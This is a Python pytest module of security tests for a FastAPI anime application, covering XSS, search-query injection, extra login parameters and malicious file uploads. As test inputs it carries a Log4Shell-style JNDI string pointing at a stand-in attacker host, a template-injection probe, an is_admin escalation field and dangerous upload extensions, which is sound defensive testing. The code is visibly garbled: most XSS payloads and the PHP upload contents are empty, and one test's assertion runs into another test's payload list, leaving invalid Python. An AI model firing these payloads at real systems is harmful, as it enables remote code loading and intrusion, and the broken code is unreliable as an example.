"""
Input Validation Security Tests.
This module tests input validation across the application to ensure
all user inputs are properly sanitized and validated.
"""
import pytest
from httpx import AsyncClient
from src.server.fastapi_app import app
@pytest.mark.security
class TestInputValidation:
"""Security tests for input validation."""
@pytest.fixture
async def client(self):
"""Create async HTTP client for testing."""
from httpx import ASGITransport
async with AsyncClient(
transport=ASGITransport(app=app), base_url="http://test"
) as ac:
yield ac
@pytest.mark.asyncio
async def test_xss_in_anime_title(self, client):
"""Test XSS protection in anime title input."""
xss_payloads = [
"",
" ",
"javascript:alert('XSS')",
"",
]
for payload in xss_payloads:
response = await client.post(
"/api/anime",
json={"title": payload, "description": "Test"},
)
# Should either reject or sanitize
if response.status_code == 200:
# If accepted, should be sanitized
data = response.json()
title = data.get("data", {}).get("title", "")
assert "",
"${jndi:ldap://attacker.com/evil}",
"{{7*7}}",
]
for query in injection_queries:
response = await client.get(
"/api/anime/search", params={"query": query}
)
# Should handle safely
assert response.status_code in [200, 400, 422]
@pytest.mark.asyncio
async def test_missing_required_parameters(self, client):
"""Test handling of missing required parameters."""
response = await client.post("/api/auth/login", json={})
# Should reject with appropriate error
assert response.status_code == 422
@pytest.mark.asyncio
async def test_extra_unexpected_parameters(self, client):
"""Test handling of extra unexpected parameters."""
response = await client.post(
"/api/auth/login",
json={
"username": "testuser",
"password": "test",
"unexpected_field": "malicious_value",
"is_admin": True, # Attempt to elevate privileges
},
)
# Should ignore extra params or reject
if response.status_code == 200:
# Should not grant admin from parameter
data = response.json()
assert not data.get("data", {}).get("is_admin", False)
@pytest.mark.security
class TestFileUploadSecurity:
"""Security tests for file upload handling."""
@pytest.fixture
async def client(self):
"""Create async HTTP client for testing."""
from httpx import ASGITransport
async with AsyncClient(
transport=ASGITransport(app=app), base_url="http://test"
) as ac:
yield ac
@pytest.mark.asyncio
async def test_malicious_file_extension(self, client):
"""Test handling of dangerous file extensions."""
dangerous_extensions = [
".exe",
".sh",
".bat",
".cmd",
".php",
".jsp",
]
for ext in dangerous_extensions:
files = {"file": (f"test{ext}", b"malicious content")}
response = await client.post("/api/upload", files=files)
# Should reject dangerous files
assert response.status_code in [400, 403, 415]
@pytest.mark.asyncio
async def test_file_size_limit(self, client):
"""Test enforcement of file size limits."""
# Try to upload very large file
large_content = b"A" * (100 * 1024 * 1024) # 100MB
files = {"file": ("large.txt", large_content)}
response = await client.post("/api/upload", files=files)
# Should reject oversized files
assert response.status_code in [413, 422]
@pytest.mark.asyncio
async def test_double_extension_bypass(self, client):
"""Test protection against double extension bypass."""
files = {"file": ("image.jpg.php", b"")}
response = await client.post("/api/upload", files=files)
# Should detect and reject
assert response.status_code in [400, 403, 415]
@pytest.mark.asyncio
async def test_mime_type_validation(self, client):
"""Test MIME type validation."""
# PHP file with image MIME type
files = {
"file": (
"image.jpg",
b"",
"image/jpeg",
)
}
response = await client.post("/api/upload", files=files)
# Should validate actual content, not just MIME type
assert response.status_code in [400, 403, 415]